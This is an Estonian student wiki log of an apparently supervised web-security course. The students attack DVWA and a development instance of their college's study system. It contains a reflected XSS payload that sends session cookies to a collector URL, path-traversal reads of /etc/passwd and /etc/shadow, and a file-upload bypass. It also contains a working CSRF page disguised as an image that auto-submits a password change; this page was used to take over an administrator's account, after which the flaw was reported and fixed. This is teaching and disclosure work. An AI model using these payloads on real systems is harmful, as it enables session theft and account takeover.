&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
Lihtsalt url modifitseerimisega leidsime mittekaitstud lingi:&lt;br /&gt;
&lt;br /&gt;
Õppesoorituste all on võimalik laadida alla kõikide kasutajate õpingukaardid (lihtsalt tuleb otsida üles soovitud kasutaja student_id)&lt;br /&gt;
Arvete alt peaks ka võimalik sama viga ära kasutada, aga kuna ühtegi arvet hetkel süsteemis polnud ei olnud võimalik seda viga kinnitada.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
===Burp suite===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
==Nessuse algkäivitamine==&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
